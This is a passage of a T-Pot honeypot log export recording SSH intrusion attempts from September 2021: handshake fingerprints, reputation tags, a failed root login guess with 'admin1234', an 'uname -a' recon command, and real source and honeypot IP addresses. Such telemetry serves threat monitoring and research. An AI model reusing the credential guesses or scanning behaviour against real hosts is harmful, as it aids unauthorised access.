"hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d61fcba64b47", "@version": "1", "timestamp": "2021-09-20T11:06:38.528380Z", "@timestamp": "2021-09-20T11:06:38.528Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21011	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:38.939444+03	2021-09-20 14:15:03.108613+03	{"_id": "3gbiAnwBvYTbRNuE7wAV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d429027559e7", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:38.939444Z", "@timestamp": "2021-09-20T11:06:38.939Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21012	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:39.338907+03	2021-09-20 14:15:03.109613+03	{"_id": "CQbiAnwBvYTbRNuE8gEB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 986218632240515, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60130, "dest_port": 22, "timestamp": "2021-09-20T11:06:39.338907Z", "@timestamp": "2021-09-20T11:06:39.338Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21013	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:39.194475+03	2021-09-20 14:15:03.110613+03	{"_id": "CwbiAnwBvYTbRNuE8gH1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/admin1234] failed", "session": "5372a2bf8e42", "@version": "1", "password": "admin1234", "username": "root", "timestamp": "2021-09-20T11:06:39.194475Z", "@timestamp": "2021-09-20T11:06:39.194Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21014	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:39.366387+03	2021-09-20 14:15:03.111615+03	{"_id": "DAbiAnwBvYTbRNuE8wFc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:48448 (192.168.176.2:22) [session: f99a71c3f87c]", "session": "f99a71c3f87c", "@version": "1", "protocol": "ssh", "src_port": 48448, "dest_port": 22, "timestamp": "2021-09-20T11:06:39.366387Z", "@timestamp": "2021-09-20T11:06:39.366Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21029	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:40.613031+03	2021-09-20 14:15:03.131613+03	{"_id": "NQbiAnwBvYTbRNuE9wFI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:37658 (192.168.176.2:22) [session: adaa76d4211a]", "session": "adaa76d4211a", "@version": "1", "protocol": "ssh", "src_port": 37658, "dest_port": 22, "timestamp": "2021-09-20T11:06:40.613031Z", "@timestamp": "2021-09-20T11:06:40.613Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21015	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:39.069276+03	2021-09-20 14:15:03.113613+03	{"_id": "EgbiAnwBvYTbRNuE8wFc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60130, "timestamp": "2021-09-20T11:06:39.069276", "@timestamp": "2021-09-20T11:06:39.069Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21016	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:39.21493+03	2021-09-20 14:15:03.114615+03	{"_id": "EwbiAnwBvYTbRNuE8wFc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43758, "timestamp": "2021-09-20T11:06:39.214930", "@timestamp": "2021-09-20T11:06:39.214Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21017	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:06:39.30787+03	2021-09-20 14:15:03.115613+03	{"_id": "FAbiAnwBvYTbRNuE8wFc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 43758, "dest_port": 22, "timestamp": "2021-09-20T11:06:39.307870", "@timestamp": "2021-09-20T11:06:39.307Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21018	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:39.338972+03	2021-09-20 14:15:03.116613+03	{"_id": "FQbiAnwBvYTbRNuE8wFc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 60130, "dest_port": 22, "timestamp": "2021-09-20T11:06:39.338972", "@timestamp": "2021-09-20T11:06:39.338Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
21057	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:37.695785+03	2021-09-20 14:15:03.167613+03	{"_id": "nQbiAnwBvYTbRNuE6wAf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:37.695785Z", "@timestamp": "2021-09-20T11:06:37.695Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
21019	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:39.368584+03	2021-09-20 14:15:03.118613+03	{"_id": "FgbiAnwBvYTbRNuE8wFc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48448, "timestamp": "2021-09-20T11:06:39.368584", "@timestamp": "2021-09-20T11:06:39.368Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21020	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:06:39.67323+03	2021-09-20 14:15:03.119612+03	{"_id": "FwbiAnwBvYTbRNuE8wFc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": 